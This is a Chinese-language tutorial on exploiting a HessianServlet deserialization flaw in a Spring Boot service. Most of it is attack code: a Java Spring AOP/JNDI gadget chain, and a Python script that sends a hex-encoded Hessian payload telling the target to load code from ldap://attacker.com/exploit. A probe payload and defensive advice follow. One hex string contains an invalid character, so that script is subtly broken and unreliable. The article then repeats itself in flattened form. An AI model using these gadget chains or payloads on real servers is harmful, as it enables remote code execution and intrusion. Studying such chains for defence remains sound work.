HessianServlet的实战化探究
字数 959 2025-08-22 12:22:24

HessianServlet反序列化漏洞实战分析

一、漏洞背景

Hessian是一种基于HTTP的轻量级RPC协议,常用于Java应用间的远程调用。HessianServlet是Hessian协议的服务端实现,当处理客户端请求时会进行反序列化操作,存在反序列化漏洞风险。

二、环境搭建

1. 依赖环境

  • Spring Boot 2.7.6
  • Hessian 4.0.60
  • Java 8u66

2. 示例代码结构

IUserService接口

package org.example;
public interface IUserService {
    String getUserById(Object userId);
}

UserServiceImpl实现类

package org.example;
public class UserServiceImpl implements IUserService {
    @Override
    public String getUserById(Object userId) {
        return "User: " + userId;
    }
}

Hessian配置类

package org.example;
import com.caucho.hessian.server.HessianServlet;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class HessianConfig {
    @Bean
    public ServletRegistrationBean<HessianServlet> hessianServlet() {
        HessianServlet hessianServlet = new HessianServlet();
        hessianServlet.setHomeAPI(IUserService.class);
        hessianServlet.setHome(new UserServiceImpl());
        ServletRegistrationBean<HessianServlet> bean = 
            new ServletRegistrationBean<>(hessianServlet, "/hessian");
        bean.setLoadOnStartup(1);
        return bean;
    }
}

三、漏洞分析

1. 调用链分析

  1. HessianServlet#service 处理HTTP请求
  2. HessianServlet#invoke 调用服务方法
  3. HessianSkeleton#invoke 区分协议类型
  4. 最终到达readObject反序列化点

2. 关键反序列化点

  • 方法参数反序列化:对远程调用方法的参数进行readObject
  • 协议头反序列化:处理Hessian协议头时的readHeader

四、漏洞利用

1. 利用链构造

使用Spring框架的SimpleJndiBeanFactory结合JNDI注入实现RCE:

public static void main(String[] args) throws Exception {
    SerializerFactory serializerFactory = new SerializerFactory();
    serializerFactory.setAllowNonSerializable(true);
    
    HessianProxyFactory factory = new HessianProxyFactory();
    factory.setOverloadEnabled(true);
    factory.setSerializerFactory(serializerFactory);
    
    IUserService userService = (IUserService) factory.create(
        IUserService.class, "http://localhost:8080/hessian");
    
    String url = "ldap://127.0.0.1:1389/rtj7ss";
    
    // 构造SimpleJndiBeanFactory
    SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
    
    // 构造BeanFactoryAspectInstanceFactory
    AspectInstanceFactory beanFactoryAspectInstanceFactory = 
        createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
    setFiled(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
    setFiled(beanFactoryAspectInstanceFactory, "name", url);
    
    // 构造AspectJAroundAdvice
    AbstractAspectJAdvice aspectJAroundAdvice = 
        createWithoutConstructor(AspectJAroundAdvice.class);
    setFiled(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);
    
    // 构造AspectJPointcutAdvisor
    AspectJPointcutAdvisor aspectJPointcutAdvisor = 
        createWithoutConstructor(AspectJPointcutAdvisor.class);
    setFiled(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);
    
    // 构造PartiallyComparableAdvisorHolder
    Class<?> aClass = Class.forName(
        "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
    Object partially = createWithoutConstructor(aClass);
    setFiled(partially, "advisor", aspectJPointcutAdvisor);
    
    // 构造HotSwappableTargetSource
    HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
    HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));
    
    // 构造触发HashMap
    HashMap hashMap = new HashMap();
    hashMap.put(targetSource1, "111");
    hashMap.put(targetSource2, "222");
    
    // 触发漏洞
    String id = userService.getUserById(hashMap);
    System.out.println(id);
}

2. 手动构造Hessian协议

方法参数利用脚本

import socket

def send_serialized_data(host, port, serialized_data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        http_request = (
            "POST /hessian HTTP/1.1\r\n"
            "Content-Type: x-application/hessian\r\n"
            "Accept-Encoding: deflate\r\n"
            "User-Agent: Java/1.8.0_66\r\n"
            f"Host: {host}:{port}\r\n"
            "Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2\r\n"
            "Connection: keep-alive\r\n"
            f"Content-Length: {len(serialized_data)}\r\n"
            "\r\n"
        )
        full_request = http_request.encode() + serialized_data
        s.sendall(full_request)
        response = s.recv(4096)
        print(response.decode())

method_name = 'getUserById'
ldap_address = 'ldap://attacker.com/exploit'
ldap_length = len(ldap_address)
method_name_hex = method_name.encode().hex()
ldap_address_hex = ldap_address.encode().hex()
ldap_length_hex = f'{ldap_length:04x}'[:4]

serialized_data = (
    '6302006d00' + '{:02x}'.format(len(method_name)) + method_name_hex + 
    '4d7400004d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d74006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c64657253000761647669736f724d7400366f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a506f696e7463757441647669736f725300056f726465724e5300066164766963654d7400336f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e4173706563744a41726f756e6441647669636553000e6465636c6172696e67436c6173734e53000a6d6574686f644e616d654e53000a6173706563744e616d654e5300106465636c61726174696f6e4f72646572490000000053000c7468726f77696e674e616d654e53000d72657475726e696e674e616d654e530017646973636f766572656452657475726e696e67547970654e530016646973636f76657265645468726f77696e67547970654e5300166a6f696e506f696e74417267756d656e74496e64657849000000005300206a6f696e506f696e7453746174696350617274417267756d656e74496e6465784900000000530015617267756d656e7473496e74726f737065637465644653001e646973636f766572656452657475726e696e6747656e65726963547970654e53000e706172616d6574657254797065734e530008706f696e746375744e530015617370656374496e7374616e6365466163746f72794d74004b6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e616e6e6f746174696f6e2e4265616e466163746f7279417370656374496e7374616e6365466163746f72795300046e616d6553' + 
    ldap_length_hex + ldap_address_hex + 
    '53000b6265616e466163746f72794d7400366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f727953000b7265736f7572636552656654530012736861726561626c655265736f7572636573567400116a6176612e7574696c2e486173685365746c000000007a53001073696e676c65746f6e4f626a656374734d7400007a53000d7265736f7572636554797065734d7400007a5300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346a4c6f636174696f6e41776172654c6f675300046e616d655300366f72672e737072696e676672616d65776f726b2e6a6e64692e737570706f72742e53696d706c654a6e64694265616e466163746f72797a53000c6a6e646954656d706c6174654d7400256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174655300066c6f676765724d74003b6f72672e6170616368652e636f6d6d6f6e732e6c6f6767696e672e4c6f674164617074657224536c66346j4c6f636174696f6e41776172654c6f675300046e616d655300256f72672e737072696e676672616d65776f726b2e6a6e64692e4a6e646954656d706c6174657a53000b656e7669726f6e6d656e744e7a7a53000e6173706563744d657461646174614e7a53000d617267756d656e744e616d65734e530010617267756d656e7442696e64696e67734e7a530008706f696e746375744e7a53000a636f6d70617261746f724e7a7a5300033131314d7400376f72672e737072696e676672616d65776f726b2e616f702e7461726765742e486f74537761707061626c65546172676574536f757263655300067461726765744d7400206f72672e6170616368652e78706174682e6f626a656374732e58537472696e675300056d5f6f626a5300036161615300086d5f706172656e744E7a7a5300033232327a7a'
)

serialized_data = bytes.fromhex(serialized_data)
host = 'target.com'
port = 8080
send_serialized_data(host, port, serialized_data)

协议头利用脚本

import io

def write_header(name, output_stream):
    output_stream.write(bytes([72]))  # 'H' header
    output_stream.write((len(name) >> 8).to_bytes(1, byteorder='big'))
    output_stream.write((len(name) & 0xFF).to_bytes(1, byteorder='big'))
    output_stream.write(name.encode())

output_stream = io.BytesIO()
write_header("ExploitHeader", output_stream)
print(output_stream.getvalue().hex())

五、检测与防御

1. 漏洞检测方法

依赖检测

检查项目中是否使用了Hessian库,特别是4.x版本。

协议探测

可以通过发送特制的序列化数据探测是否存在漏洞:

serialized_data = (
    '6302006d00' + '{:02x}'.format(len('getUserById')) + '6765745573657242794964' + 
    '567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c00000002567400116a6176612e7574696c2e486173685365746c000000007a567400116a6176612e7574696c2e486173685365746c000000014d74000f6a6176612e6c616e672e436c6173735300046e616d6553006e6f72672e737072696e676672616d65776f726b2e616f702e6173706563746a2e6175746f70726f78792e4173706563744a417761726541647669736f724175746f50726f787943726561746f72245061727469616c6c79436f6d70617261626c6541647669736f72486f6c6465727a7a7a567400116a6176612e7574696c2e486173685365746c000000035200000014520000001652000000157a7a567400116a6176612e7574696c2e486173685365746c000000035200000013520000001652000000177a7a567400116a6176612e7574696c2e486173685365746c000000035200000012520000001652000000187a7a567400116a6176612e7574696c2e486173685365746c000000035200000011520000001652000000197a7a567400116a6176612e7574696c2e486173685365746c0000000352000000105200000016520000001a7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000f5200000016520000001b7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000e5200000016520000001c7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000d5200000016520000001d7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000c5200000016520000001e7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000b5200000016520000001f7a7a567400116a6176612e7574696c2e486173685365746c00000003520000000a520000001652000000207a7a567400116a6176612e7574696c2e486173685365746c000000035200000009520000001652000000217a7a567400116a6176612e7574696c2e486173685365746c000000035200000008520000001652000000227a7a567400116a6176612e7574696c2e486173685365746c000000035200000007520000001652000000237a7a567400116a6176612e7574696c2e486173685365746c000000035200000006520000001652000000247a7a567400116a6176612e7574696c2e486173685365746c000000035200000005520000001652000000257a7a567400116a6176612e7574696c2e486173685365746c000000035200000004520000001652000000267a7a567400116a6176612e7574696c2e486173685365746c000000035200000003520000001652000000277a7a567400116a6176612e7574696c2e486173685365746c000000035200000002520000001652000000287a7a7a'
)

2. 防御措施

  1. 升级Hessian版本:使用最新版本的Hessian库
  2. 反序列化过滤:实现自定义的SerializerFactory,重写getObjectDeserializer方法进行过滤
  3. JNDI防护:设置com.sun.jndi.ldap.object.trustURLCodebase为false
  4. 网络隔离:限制Hessian服务的访问权限
  5. 使用白名单:对反序列化的类进行严格限制

六、总结

HessianServlet反序列化漏洞主要存在于参数处理和协议头解析过程中,通过精心构造的序列化数据可以实现RCE。防御此类漏洞需要从代码层面和运行环境两方面入手,既要升级依赖库,也要实施严格的反序列化过滤策略。

HessianServlet反序列化漏洞实战分析 一、漏洞背景 Hessian是一种基于HTTP的轻量级RPC协议,常用于Java应用间的远程调用。HessianServlet是Hessian协议的服务端实现,当处理客户端请求时会进行反序列化操作,存在反序列化漏洞风险。 二、环境搭建 1. 依赖环境 Spring Boot 2.7.6 Hessian 4.0.60 Java 8u66 2. 示例代码结构 IUserService接口 UserServiceImpl实现类 Hessian配置类 三、漏洞分析 1. 调用链分析 HessianServlet#service 处理HTTP请求 HessianServlet#invoke 调用服务方法 HessianSkeleton#invoke 区分协议类型 最终到达 readObject 反序列化点 2. 关键反序列化点 方法参数反序列化:对远程调用方法的参数进行 readObject 协议头反序列化:处理Hessian协议头时的 readHeader 四、漏洞利用 1. 利用链构造 使用Spring框架的 SimpleJndiBeanFactory 结合JNDI注入实现RCE: 2. 手动构造Hessian协议 方法参数利用脚本 协议头利用脚本 五、检测与防御 1. 漏洞检测方法 依赖检测 检查项目中是否使用了Hessian库,特别是4.x版本。 协议探测 可以通过发送特制的序列化数据探测是否存在漏洞: 2. 防御措施 升级Hessian版本 :使用最新版本的Hessian库 反序列化过滤 :实现自定义的 SerializerFactory ,重写 getObjectDeserializer 方法进行过滤 JNDI防护 :设置 com.sun.jndi.ldap.object.trustURLCodebase 为false 网络隔离 :限制Hessian服务的访问权限 使用白名单 :对反序列化的类进行严格限制 六、总结 HessianServlet反序列化漏洞主要存在于参数处理和协议头解析过程中,通过精心构造的序列化数据可以实现RCE。防御此类漏洞需要从代码层面和运行环境两方面入手,既要升级依赖库,也要实施严格的反序列化过滤策略。